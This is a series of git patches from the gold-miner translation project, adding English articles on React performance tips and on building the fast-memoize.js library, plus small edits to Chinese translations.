+ clearInterval( this._intervalId );
+}
+```
+
+If you are using requestAnimationFrame() to run an animation loop, you could use a very similar solution with slight modification:
+
+```
+// How to ensure that our animation loop ends on component unount
+
+componentDidMount() {
+  this.startLoop();
+}
+
+componentWillUnmount() {
+  this.stopLoop();
+}
+
+startLoop() {
+  if( !this._frameId ) {
+    this._frameId = window.requestAnimationFrame( this.loop );
+  }
+}
+
+loop() {
+  // perform loop work here
+  this.theoreticalComponentAnimationFunction()
+  
+  // Set up next iteration of the loop
+  this.frameId = window.requestAnimationFrame( this.loop )
+}
+
+stopLoop() {
+  window.cancelAnimationFrame( this._frameId );
+  // Note: no need to worry if the loop has already been cancelled
+  // cancelAnimationFrame() won't throw an error
+}
+```
+
+#### Non-debounced Rapid-firing Events ####
+
+Certain common events can fire extremely rapidly, e.g. ‘scroll’, ‘resize’. It is wise to debounce these events, especially if the event handler is performing anything more than extremely basic functionality.
+
+Lodash has the [_.debounce](https://lodash.com/docs/#debounce) method. There is also a standalone [debounce](https://www.npmjs.com/package/debounce) package on NPM.
+
+> “But I really need immediate response from the scroll/resize/whatever event”
+
+One pattern I have found that can be used to handle these kind of events and respond in a high performance manner, is to start a `requestAnimationFrame()` watch loop the first time an event is fired. Then, the `[debounce()](https://lodash.com/docs#debounce)` function can be used with the `trailing` option set to `true` (*this means the function only fires after the stream of rapidly firing events has ended*) to stop watching the value. See an example below
+
+```
+class ScrollMonitor extends React.Component {
+  constructor() {
+    this.handleScrollStart = this.startWatching.bind( this );
+    this.handleScrollEnd = debounce(
+      this.stopWatching.bind( this ),
+      100,
+      { leading: false, trailing: true } );
+  }
+
+  componentDidMount() {
+    window.addEventListener( 'scroll', this.handleScrollStart );
+    window.addEventListener( 'scroll', this.handleScrollEnd );
+  }
+
+  componentWillUnmount() {
+    window.removeEventListener( 'scroll', this.handleScrollStart );
+    window.removeEventListener( 'scroll', this.handleScrollEnd );
+    
+    //Make sure the loop doesn't run anymore if component is unmounted
+    this.stopWatching();
+  }
+
+  // If the watchloop isn't running start it
+  startWatching() {
+    if( !this._watchFrame ) {
+      this.watchLoop();
+    }
+  }
+
+  // Cancel the next iteration of the watch loop
+  stopWatching() {
+    window.cancelAnimationFrame( this._watchFrame );
+  }
+
+  // Keep running on each animation frame untill stopped.
+  watchLoop() {
+    this.doThingYouWantToWatchForExampleScrollPositionOrWhatever()
+
+    this._watchFrame = window.requestAnimationFrame( this.watchLoop )
+  }
+
+}
+```
+
+#### Intensive CPU task Thread blocking ####
+
+Certain tasks will always be CPU intensive and thus can cause issues blocking the main rendering thread. Some examples include very complex math calculations, iterating through very large arrays, reading/writing using the `File` api. Encoding or decoding image data from a `<canvas>` object.
+
+If at all possible in these scenarios, it would be best to use a Web Worker to move that functionality onto another thread, so that our main rendering thread can remain buttery smooth.
+
+**Read These**
+
+MDN Article: [Using Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)
+
+MDN Docs: [Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Worker)
+
+### Closing Words ###
+
+We hope that you have found the above suggestions useful and informative. The above compilation of tips and tricks could not be possible without the great work and research by the web team here at Vixlet. They truly are one of the most awesome groups of people that I’ve ever had the chance to work with.
+
+In your personal quest to get the most out of React, continue to learn and practice, and may the Force be with you!
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 7bebb29bf2aa531f425202fd0b16fc03faec3b24 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 22:30:45 +0800
Subject: [PATCH 341/638] Create
 the-worlds-fastest-javascript-memoization-library.md

---
 ...-fastest-javascript-memoization-library.md | 281 ++++++++++++++++++
 1 file changed, 281 insertions(+)
 create mode 100644 TODO/the-worlds-fastest-javascript-memoization-library.md

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
new file mode 100644
index 00000000000..011ef3893c5
--- /dev/null
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -0,0 +1,281 @@
+> * 原文地址：[How I wrote the world's fastest JavaScript memoization library](https://community.risingstack.com/the-worlds-fastest-javascript-memoization-library/)
+> * 原文作者：[Caio Gondim](https://community.risingstack.com/author/caio/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# How I wrote the world's fastest JavaScript memoization library #
+
+**In this article, I’ll show you how I wrote the world’s fastest JavaScript memoization library called [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) - which is able to do 50 million operations / second.**
+
+We’re going to discuss all the steps and decisions I took in a detailed way, and I’ll also show you the code and benchmarks as proof.
+
+As **fast-memoize.js** is an open source project, I’ll be delighted to read your comments and suggestions for this library!
+
+A while ago I was playing around with some [soon to be released features](http://www.2ality.com/2015/06/tail-call-optimization.html) in V8 using the Fibonacci algorithm as a basis for a benchmark. 
+
+One of the benchmarks consisted a memoized version of the Fibonacci algorithm against a vanilla implementation, and the results showed a huge gap in performance between them.
+
+After realizing this, I started poking around with different memoization libraries and benchmarking them (because... why not?). I was quite surprised to see a huge performance gap between them, since the memoization algorithm is quite straightforward. 
+
+But why?
+
+![Performance of popular JavaScript memoization libraries](https://blog-assets.risingstack.com/2017/01/performance-of-popular-javascript-memoization-libraries.png)
+
+While taking a look at the [lodash](https://github.com/lodash/lodash/blob/master/memoize.js#L50) and [underscore](https://github.com/jashkenas/underscore/blob/master/underscore.js#L810) source code, I also realized that by default, they only could memoize functions that accept one argument (arity one). I was — again — curious, and wondering if I could make a fast enough memoization library that would accept N arguments. 
+
+*(And, maybe, creating one more npm package in the world?)*
+
+Below I explain all the steps and decisions I took while creating the [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) library.
+
+## Understanding the problem ##
+
+From the [Haskell language wiki](https://wiki.haskell.org/Memoization):
+
+> "Memoization is a technique for storing values of a function instead of recomputing them each time."
+
+**In other words, memoization is a cache for functions.** It only works for deterministic Algorithms though, for those that will always generate the same output for a given input.
+
+Let's break the problem into smaller pieces for better understanding and testability.
+
+### Breaking down the JavaScript memoization problem ###
+
+I broke the memoization algorithm into 3 different pieces:
+
+1. **cache**: stores the previously computed values. 
+2. **serializer**: takes the arguments as inputs and generates a string as an output that represents the given input. Think of it as a fingerprint for the arguments. 
+3. **strategy**: glues together cache and serializer, and outputs the memoized function.
+
+Now the idea is to implement each piece in different ways, benchmark each one and make the **final algorithm as a combination of the fastest cache, serializer, and strategy**. 
+
+The goal here is to let the computer do the heavy lifting for us!
+
+### #1 - Cache ###
+
+As I just mentioned, the cache stores previously computed values.
+
+#### Interface ####
+
+To abstract implementation details, a similar interface to [Map](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object) was created:
+
+- has(key)
+- get(key)
+- set(key, value)
+- delete(key)
+
+This way we can replace the inner cache implementation without breaking it for consumers, as long we implement the same interface.
+
+#### Implementations ####
+
+One thing that needs to be done every time a memoized function is executed is to check if the output for the given input was already computed.
+
+A good data structure for that is a hash table. Hash table has an O(1) time complexity in Big-O notation for checking the presence of a value. Under the hood, a JavaScript object is a Hash table ([or something similar](https://simplenotions.wordpress.com/2011/07/05/javascript-hashtable/)), so we can leverage this using the input as key for the hash table and the value as the function output.
+
+```
+    // Keys represent the input of fibonacci function// Values represent the outputconst cache = {  
+      5: 5,
+      6: 8,
+      7: 13
+    }
+```
+    
+
+I used those different algorithms as a cache:
+
+1. Vanilla object 
+2. Object without prototype (to avoid prototype lookup) 
+3. [lru-cache](https://www.npmjs.com/package/lru-cache) package 
+4. [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)
+
+Below you can see a benchmark of all cache implementations. To run locally, do `npm run benchmark:cache`. The source for all different implementations can be found on the [project's GitHub page](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/cache). 
+
+![Variable JavaScript memoization cache](https://blog-assets.risingstack.com/2017/01/variable-javascript-memoization-cache.png)
+
+#### The need for a serializer ####
+
+There is a problem when a non-literal argument is passed since its string representation is not unique.
+
+```
+    functionfoo(arg) { returnString(arg) }
+    
+    foo({a: 1}) // => '[object Object]'  
+    foo({b: 'lorem'}) // => '[object Object]'  
+```
+    
+
+That is why we need a serializer, to create a *fingerprint* of arguments that will serve as key for the cache. It needs to be as fast as possible as well.
+
+### #2 - Serializer ###
+
+The serializer outputs a string based on the given inputs. It has to be a deterministic algorithm, meaning that it will always produce the same output for the same input.
+
+The serializer is used to create a string that will serve as a key for the cache and represent the inputs for the memoized functions. 
+
+Unfortunately, I could not find any library that came close, performance wise, to `JSON.stringify` — which makes sense, since it's implemented in native code.
+
+I tried to use `JSON.stringify` and a bound `JSON.stringify` hoping there would be one less lookup to be made, but no gains here. 
+
+To run locally, do `npm run benchmark:serializer`. The code for both implementations can be found on the [project's GitHub page](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/serializer).
+
+![Variable Serializer](https://blog-assets.risingstack.com/2017/01/variable-serializer.png)
+
+There is one piece left: the **strategy**.
+
+### #3 - Strategy ###
+ 
+The strategy is the consumer of both **serializer** and **cache**. It orchestrates all pieces. For [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) library, I spent most of the time here. Although a very simple algorithm, some gains were made in each iteration.
+
+Those were the iterations I did in chronological order:
+
+1. Naive (first try) 
+2. Optimize for single argument 
+3. Infer arity 
+4. Partial application
+
+Let's explore them one by one. I will try to explain the idea behind each approach, with as little code as possible. If my explanation is not enough and you want to dive deeper, the code for each iteration can be found in the [project's GitHub page](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/strategy). 
+
+To run locally, do `npm run benchmark:strategy`.
+
+#### Naive ####
+
+This was the first iteration and the simplest one. The steps:
+
+1. Serialize arguments 
+2. Check if output for given input was already computed 
+3. If `true`, get result from cache 
+4. If `false`, compute and store value on cache
+
+![Variable strategy](https://blog-assets.risingstack.com/2017/01/variable-strategy.png)
+
+With that first try, we could generate around **650,000 operations per second**. That will serve as a basis for next iterations.
+
+#### Optimize for single argument ####
+
+One simple and effective technique while improving performance is to optimize the hot path. Our hot path here is a function which accepts one argument only (arity one) with primitive values, so we don't need to run the serializer.
+
+1. Check if `arguments.length === 1` and argument is a primitive value 
+2. If `true`, no need to run serializer, as a primitive value already works as a key for the cache 
+3. Check if output for given input was already computed 
+4. If `true`, get result from cache 
+5. If `false`, compute and store value on cache
+
+![Optimizing for single argument](https://blog-assets.risingstack.com/2017/01/optimizing-for-single-argument.png)
+
+By removing the unnecessary call to the serializer, we can go much faster (on the hot path). Now running at **5.5 million operations per second**. 
+
+#### Infer arity ####
+
+`function.length` returns the number of expected arguments on a defined function. We can leverage this to remove the dynamic check for `arguments.length === 1` and provide a different strategy for monadic (functions that receive one argument) and not-monadic functions.
+
+```
+    functionfoo(a, b) {  
+      Return a + b
+    }
+    foo.length // => 2  
+```    
+
+![infer arity](https://blog-assets.risingstack.com/2017/01/infer-arity.png)
+
+An expected small gain, since we are only removing one check on the if condition. Now we’re running at **6 million operations per second**. 
+
+### Partial application ###
+
+It seemed to me that most of the time was being wasted on variable lookup (no data for this), and I had no more ideas on how to improve it. Then, I suddenly remembered that it's possible to inject variables in a function through a partial application with the `bind` method. 
+
+```
+    functionsum(a, b) {  
+      return a + b
+    }
+    const sumBy2 = sum.bind(null, 2)  
+    sumBy2(3) // => 5  
+```
+    
+The idea here is to create a function with some arguments fixed. Then I fixed the **original function**, **cache** and **serializer** through this method. Let's give it a try!
+
+![partial application](https://blog-assets.risingstack.com/2017/01/partial-application.png)
+
+Wow. That's a big win. I'm out of ideas again, but this time satisfied with the result. We are now running at **20 million operations per second**.
+
+## The Fastest JavaScript Memoization Combination ##
+
+We broke down the memoization problem into 3 parts. 
+
+For each part, we kept the other two parts fixed and ran a benchmark alternating only one. By alternating only one variable, we can be more confident the result was an effect of this change — no JS code is deterministic performance wise, due to unpredictable Stop-The-World pauses on VM.
+
+V8 does a lot of optimizations on runtime based on how frequently a function is called, its shape, ... 
+
+To check that we are not missing a massive performance optimization opportunity in any possible combination of the 3 parts, let's run each part against the other, in all possible ways. 
+
+4 strategies x 2 serializers x 4 caches = **32 different combinations**. To run locally, do `npm run benchmark:combination`. Below the top 5 combinations:
+
+![fastest javascript memoize combinations](https://blog-assets.risingstack.com/2017/01/fastest-javascript-memoize-combinations.png)
+
+Legend:
+
+1. **strategy**: Partial application, **cache**: Object, **serializer**: json-stringify 
+2. **strategy**: Partial application, **cache**: Object without prototype, **serializer**: json-stringify 
+3. **strategy**: Partial application, **cache**: Object without prototype, **serializer**: json-stringify-binded 
+4. **strategy**: Partial application, **cache**: Object, **serializer**: json-stringify-binded 
+5. **strategy**: Partial application, **cache**: Map, **serializer**: json-stringify
+
+It seems that we were right. The fastest algorithm is a combination of:
+
+- **strategy**: Partial application
+- **cache**: Object
+- **serializer**: JSON.stringify
+
+## Benchmarking against popular libraries ##
+
+With all the pieces of the algorithm in place, it's time to benchmark it against the most popular memoization libraries. To run locally, do `npm run benchmark`. Below the results:
+
+![Benchmarking against other memoization libraries](https://blog-assets.risingstack.com/2017/01/benchmarking-against-other-memoization-libraries.png)
+
+[fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) is almost 3 times faster than the second fastest running at **27 million operations per second**.
+
+### Future proof ###
+
+V8 has a new and yet to be officially released new optimization compiler called [TurboFan](http://v8project.blogspot.com.br/2015/07/digging-into-turbofan-jit.html).
+
+We should try it today to see how our code will behave tomorrow since TurboFan will be (very 
+
+likely) added to V8 shortly. To enable it pass the flag `--turbo-fan` to the Node.js binary. To run locally, do `npm run benchmark:turbo-fan`. Below the benchmark with TurboFan enabled:
+
+![Performance with TurboFan](https://blog-assets.risingstack.com/2017/01/performance-with-turbofan.png)
+
+Almost a double gain in performance. We are now running at almost **50 million operations per second**. 
+
+Seems the new [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) version can be highly optimized with the soon to be released new compiler.
+
+## Conclusion ##
+
+That was my take on creating a faster library on an already crowded market. Creating many solutions for each part, combining them, and letting the computer tell which one was the fastest based on statistically significant data. *(I used [benchmark.js](https://benchmarkjs.com/) for that).*
+
+Hope the process I used can be useful for someone else too.
+
+[fast-memoize.js is currently the best memoization library in #JavaScript, and I will strive for it to always be.](https://twitter.com/share)
+
+[Click To Tweet](https://twitter.com/share)
+
+**Not because I'm the smartest programmer in the world, but because I will keep the algorithm up to date with findings from others.**[Pull requests](https://github.com/caiogondim/fast-memoize.js/pulls) are always welcome.
+
+Benchmarking algorithms that runs on virtual machines can be very tricky, as explained by [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s), a former V8 engineer. If you see something wrong on how the tests were set up, please create an issue on [GitHub](https://github.com/caiogondim/fast-memoize.js/issues).
+
+The same goes for the library itself. Create an issue if you spotted anything wrong (issues with a failing test are appreciated). 
+
+Pull requests with improvements are super appreciated!
+
+If you liked the library, please give it a [star](https://github.com/caiogondim/fast-memoize.js/stargazers). That's one of the few feedbacks we open source programmers have.
+
+#### References ####
+
+- [JavaScript & Hashtable](https://simplenotions.wordpress.com/2011/07/05/javascript-hashtable/)
+- [Firing up ignition interpreter](http://v8project.blogspot.com.br/2016/08/firing-up-ignition-interpreter.html)
+- [Big-O cheat sheet](http://bigocheatsheet.com/)
+- [GOTO 2015 • Benchmarking JavaScript • Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s)
+
+Let me know in the comments if you have any questions!
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From cfd809a1778f73673c043d0f16560f7520242f2a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 23:10:43 +0800
Subject: [PATCH 342/638] Update testing-views-in-isolation-with-espresso.md

---
 TODO/testing-views-in-isolation-with-espresso.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/testing-views-in-isolation-with-espresso.md b/TODO/testing-views-in-isolation-with-espresso.md
index 1bc0345f1d1..2dd98fc4650 100644
--- a/TODO/testing-views-in-isolation-with-espresso.md
+++ b/TODO/testing-views-in-isolation-with-espresso.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Testing Views in Isolation with Espresso](https://www.novoda.com/blog/testing-views-in-isolation-with-espresso/)
-> * 原文作者：[Ataul Munim](https://www.novoda.com/blog/author/ataulm/)
+> * 原文作者：本文已获原作者 [Ataul Munim](https://www.novoda.com/blog/author/ataulm/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[yazhi1992](https://github.com/yazhi1992)
 > * 校对者：[lovexiaov](https://github.com/lovexiaov), [Phoenix](https://github.com/wbinarytree)

From b1ccbe72e597f59262bda11e29245f4cf7023c70 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 23:11:06 +0800
Subject: [PATCH 343/638] Update swift-lazy-initialization-with-closures.md

---
 TODO/swift-lazy-initialization-with-closures.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
index 100b89ac291..fa72e56c0f6 100644
--- a/TODO/swift-lazy-initialization-with-closures.md
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Swift Lazy Initialization with Closures][1]
-> * 原文作者：[Bob Lee][2]
+> * 原文作者：本文已获原作者 [Bob Lee][2] 授权
 > * 译文出自：[掘金翻译计划][3]
 > * 译者：[lsvih][4]
 > * 校对者：[zhangqippp](https://github.com/zhangqippp),[Zheaoli](https://github.com/Zheaoli)

From f3fd50dd51b79d53972aad3e2523ca43403f7ebc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 23:12:42 +0800
Subject: [PATCH 344/638] =?UTF-8?q?=E6=9B=B4=E6=94=B9=E4=BD=9C=E8=80=85?=
 =?UTF-8?q?=E9=93=BE=E6=8E=A5?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/testing-views-in-isolation-with-espresso.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/testing-views-in-isolation-with-espresso.md b/TODO/testing-views-in-isolation-with-espresso.md
index 2dd98fc4650..a777aafd618 100644
--- a/TODO/testing-views-in-isolation-with-espresso.md
+++ b/TODO/testing-views-in-isolation-with-espresso.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Testing Views in Isolation with Espresso](https://www.novoda.com/blog/testing-views-in-isolation-with-espresso/)
-> * 原文作者：本文已获原作者 [Ataul Munim](https://www.novoda.com/blog/author/ataulm/) 授权
+> * 原文作者：本文已获原作者 [Ataul Munim](https://twitter.com/ataulm) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[yazhi1992](https://github.com/yazhi1992)
 > * 校对者：[lovexiaov](https://github.com/lovexiaov), [Phoenix](https://github.com/wbinarytree)

From ff6f064dc39f27d4220d56addb7cb7f8e5912e23 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Fri, 5 May 2017 08:06:30 +0800
Subject: [PATCH 345/638] update

---
 TODO/the-truth-is-in-the-code.md | 46 ++++++++++++++++----------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index d5428c53955..20c7b5720ba 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -8,13 +8,13 @@
 
 ![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)
 
-[shoppingapp](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) 模型, [requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
+[shoppingapp](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) 模型，[requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
 
 早晚有一天，每个程序员都会听到这样一句话：
 
 > “真相只能在一处找到：代码中。”
 
-> – Robert C. Martin, [代码整洁之道](https://www.amazon.de/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)
+> —— Robert C. Martin，【代码整洁之道】(https://www.amazon.de/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)
 
 但这句话是什么意思呢？
 
@@ -60,17 +60,17 @@
 
 如果你的软件已经存在了一段时间，这可能会是个挑战。我经常听到这样的对话：
 
-**X**: 我们不能继续开发**foo**特性了。
+**X**：我们不能继续开发 **foo** 特性了。
 
-**Y**: 为什么？
+**Y**：为什么？
 
-**X**: 因为**Z**是唯一了解这块代码的人。我们要改动的代码就是他开发的。
+**X**：因为 **Z** 是唯一了解这块代码的人。我们要改动的代码就是他开发的。
 
-**Y:** 好吧，为什么不去问问他呢？
+**Y**：好吧，为什么不去问问他呢？
 
-**X**: 因为他病了/休假了/在开会/离职了。
+**X**：因为他病了/休假了/在开会/离职了。
 
-**Y**: 额……
+**Y**：额……
 
 事情就是这样。要想知道你的代码是否容易被理解，至少要有个人去尝试阅读它。
 
@@ -80,7 +80,7 @@
 
 ### 故事 ###
 
-整洁代码带给你正确的**单词**。
+整洁代码带给你正确的**用语**。
 
 问题是：你在代码中使用它们讲述怎样的**故事**呢？
 
@@ -92,9 +92,9 @@
 
 ### 手套商店的例子 ###
 
-作为一个软件的用户，我想要[到达期望的目的](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708)。比如，我想拥有一双新手套以便我的手指在冬天可以保持温暖。
+作为一个软件的用户，我想要[达到期望的目的](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708)。比如，我想拥有一双新手套以便我的手指在冬天可以保持温暖。
 
-因此我上网寻找并发现了一家新开的线上手套专卖店。该店铺的网站可以让我购买手套。“基本流程”（也被成为“愉快场景”）大概是这样的：
+因此我上网寻找并发现了一家新开的线上手套专卖店。该店铺的网站可以让我购买手套。“基本流程”（也被成为“正常用例”）大概是这样的：
 
 - 系统以一个空购物车开始。
 - 系统展示一个手套的列表。
@@ -120,13 +120,13 @@
 
 #### 那么一个用例由哪些零件构成呢？####
 
-用例的基础零件是使用户离期望结果更进一步的**步骤**。比如：“系统展示一个手套的列表。”
+用例的基础零件是使用户离期望结果更近一步的**步骤**。比如：“系统展示一个手套的列表。”
 
 不是所有用户都可以执行某一步骤，只有特定用户组的成员（“**行为者**”）才可以这么做。例如，终端消费者买手套。销售人员向系统中添加新款手套的报价。
 
-某些步骤由系统主动执行。就好像在展示手套列表时一样。无需用户交互。
+某些步骤由系统主动执行。例如在展示手套列表时。无需用户交互。
 
-有的步骤则是用户交互的结果。系统**响应**某些**用户事件**。例如：用户输入配送信息。系统保存这些信息。
+而有的步骤则是用户交互的结果。系统**响应**某些**用户事件**。例如：用户输入配送信息。系统保存这些信息。
 
 我想知道这些事件中包含哪些**数据**。配送信息包含用户的姓名，地址等等。
 
@@ -184,29 +184,29 @@
 
 领域模型还用来描述基于这些数据的运算。一个订单的总价是该订单中用户购买的所有手套价格的总和。
 
-一个组件还可以是类似数据库这样的技术组件。该组件的代码就要解决如何在数据库中创建，查找，更新，删除数据的问题。
+一个组件还可以是类似数据库这样的技术组件。该组件的代码就要解决如何在数据库中创建、查找、更新、删除数据的问题。
 
 ### 讲述你的故事 ###
 
 你的故事可能看起来和上面提到的故事很相似，也可能完全不同。不论你的故事是怎样的，编程语言都给了你极大的自由来讲述你的故事。
 
-这是件好事情，因为它允许开发人员适应不同的上下文与需求。
+这是件好事情，因为它允许开发人员适应不同的情景与需求。
 
 这也承担了由开发人员讲述太多不同故事（哪怕是针对同一个产品）带来的风险。使得理解其他人编写的代码变得更困难了。
 
 解决这个问题的一个办法是使用设计模式。它们可以帮你合理的组织代码。你可以在团队中甚至是团队间就这种通用结构达成一致。
 
-例如：Rails框架就是基于众所周知的模型、视图、控制器模式的。
+例如：Rails 框架就是基于众所周知的模型、视图、控制器模式的。
 
 模型用于放置**领域数据**。
 
-视图是客户端用户界面，比如HTML页面。这是**用户事件**的来源。
+视图是客户端用户界面，比如 HTML 页面。这是**用户事件**的来源。
 
 控制器在服务器端接收用户事件。它负责**流程**。
 
-因此，如果多个开发人员使用Rails，他们就知道在哪里能找到和故事中特定部分相关的代码。
+因此，如果多个开发人员使用 Rails，他们就知道在哪里能找到和故事中特定部分相关的代码。
 
-他们可以在分享他们的理解时找出缺失的东西。然后，他们就可以进一步的就约定在哪里放置故事的模块达成一致。
+他们可以在分享他们的见解时找出缺失的东西。然后，他们就可以进一步的就约定在哪里放置故事的模块达成一致。
 
 如果这些适用于你，那就好了。但我想比这更进一步。
 
@@ -240,11 +240,11 @@
 
 ![](https://cdn-images-1.medium.com/max/800/1*rZAA0h24T9SdEZYdE7stIQ@2x.png)
 
-- UssCaseModel 实例用于定义**行为者**，**用例**，它们的**流程**以及**步骤**。它讲述故事的第一章。在本文的开头你能找到一个这种模型的例子。
+- UseCaseModel 实例用于定义**行为者**，**用例**，它们的**流程**以及**步骤**。它讲述故事的第一章。在本文的开头你能找到一个这种模型的例子。
 - 用例模型配置 UseCaseModelRunner 实例。每个用户都有自己的运行程序，因为每个用户选择执行的用例路径可能不同。
 - 运行程序通过调用后端的**系统响应**来响应前端的**用户事件**。前端只能通过运行程序和后端通信。
 - 但是运行程序只有当用户在**流程**中的正确位置且满足步骤的**条件**时才会响应用户。例如：运行程序只有在用户已经输入了配送信息之后才会响应“进入支付详情页”事件。
-- **system reaction**是一个单例方法。方法内部负责协调不同组件以实现该步骤，就像在第二章中描述的那样。
+- **system reaction** 是一个单例方法。方法内部负责协调不同组件以实现该步骤，就像在第二章中描述的那样。
 - 第三章已经超出了 requirementsascode 的范畴。它留给应用程序决定。这使得 requirementsascode 可以兼容任意的软件设计。
 
 因此，基于 UseCaseModel，UseCaseModelRunner 控制了对用户可见的软件行为。
@@ -267,7 +267,7 @@ Requirementsascodeextract 使用了 FreeMarker 模板引擎。它允许你生成
 
 你可以在评论区给我留言或是在 [Twitter](https://twitter.com/BertilMuth) 或 [LinkedIn](https://www.linkedin.com/in/bertilmuth) 和我联系。
 
-你可以[克隆](https://github.com/bertilmuth/requirementsascode)这个项目并亲自尝试一下。
+你可以 [clone](https://github.com/bertilmuth/requirementsascode) 这个项目并亲自尝试一下。
 
 也可以[帮助](https://github.com/bertilmuth/requirementsascode/blob/master/CONTRIBUTING.md)在代码中记录真相。
 

From ce4b84bad65630e98c187db50dd9bd5f4b32aa1a Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Fri, 5 May 2017 08:08:21 +0800
Subject: [PATCH 346/638] save

---
 TODO/the-truth-is-in-the-code.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index 20c7b5720ba..49bd6061503 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -2,9 +2,9 @@
 > * 原文作者：[Bertil Muth](https://medium.freecodecamp.com/@BertilMuth)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[loveky](https://github.com/loveky)
-> * 校对者：
+> * 校对者：[sunui](https://github.com/sunui)
 
-# 真相在代码中 #
+# 真相就在代码中 #
 
 ![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)
 

From 4428e3ae209f3cc0b8c4068c0cdaf0381610d3e3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 5 May 2017 10:34:58 +0800
Subject: [PATCH 347/638] Update
 the-time-i-had-to-crack-my-own-reddit-password.md

---
 TODO/the-time-i-had-to-crack-my-own-reddit-password.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
